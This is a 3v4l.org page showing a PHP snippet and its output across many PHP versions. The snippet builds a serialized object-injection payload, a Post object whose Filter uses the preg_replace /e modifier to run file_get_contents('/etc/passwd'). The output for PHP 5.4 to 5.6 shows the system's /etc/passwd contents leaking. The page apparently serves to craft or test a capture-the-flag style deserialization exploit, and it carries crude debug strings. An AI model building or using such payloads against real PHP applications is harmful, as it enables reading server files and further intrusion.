3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo json_encode(serialize(new Post("a", "br", [new Filter("/br/e", "file_get_contents('/etc/passwd')"), new Filter("/moni/", "i repor u")])));
based on avdgL
Output for 7.0.0 - 7.1.0
Notice: Array to string conversion in /in/iHXn4 on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/iHXn4 on line 11 <!-- POST a: -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:5:\"\/br\/e\";s:7:\"\u0000*\u0000repl\";s:32:\"file_get_contents('\/etc\/passwd')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.5.0 - 5.6.28
Notice: Array to string conversion in /in/iHXn4 on line 43 WOAH ITS A FILTER "Array" Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/iHXn4 on line 11 <!-- POST a: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:5:\"\/br\/e\";s:7:\"\u0000*\u0000repl\";s:32:\"file_get_contents('\/etc\/passwd')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.4.0 - 5.4.45
Notice: Array to string conversion in /in/iHXn4 on line 43 WOAH ITS A FILTER "Array"<!-- POST a: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin -->BYE BITCH BYE BITCH "O:4:\"Post\":3:{s:8:\"\u0000*\u0000title\";s:1:\"a\";s:7:\"\u0000*\u0000text\";s:2:\"br\";s:10:\"\u0000*\u0000filters\";a:2:{i:0;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:5:\"\/br\/e\";s:7:\"\u0000*\u0000repl\";s:32:\"file_get_contents('\/etc\/passwd')\";}i:1;O:6:\"Filter\":2:{s:10:\"\u0000*\u0000pattern\";s:6:\"\/moni\/\";s:7:\"\u0000*\u0000repl\";s:9:\"i repor u\";}}}"BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Output for 5.2.14 - 5.2.17, 5.3.3 - 5.3.29
Parse error: syntax error, unexpected '[' in /in/iHXn4 on line 52
Process exited with code 255.
Output for 5.1.0 - 5.2.13, 5.3.0 - 5.3.2
Strict Standards: Redefining already defined constructor for class Filter in /in/iHXn4 on line 10 Parse error: syntax error, unexpected '[' in /in/iHXn4 on line 52
Process exited with code 255.
Output for 5.0.0 - 5.0.5
Strict Standards: Redefining already defined constructor for class Filter in /in/iHXn4 on line 10 Parse error: parse error, unexpected '[' in /in/iHXn4 on line 52
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/iHXn4 on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/iHXn4 on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/iHXn4 on line 4
Process exited with code 255.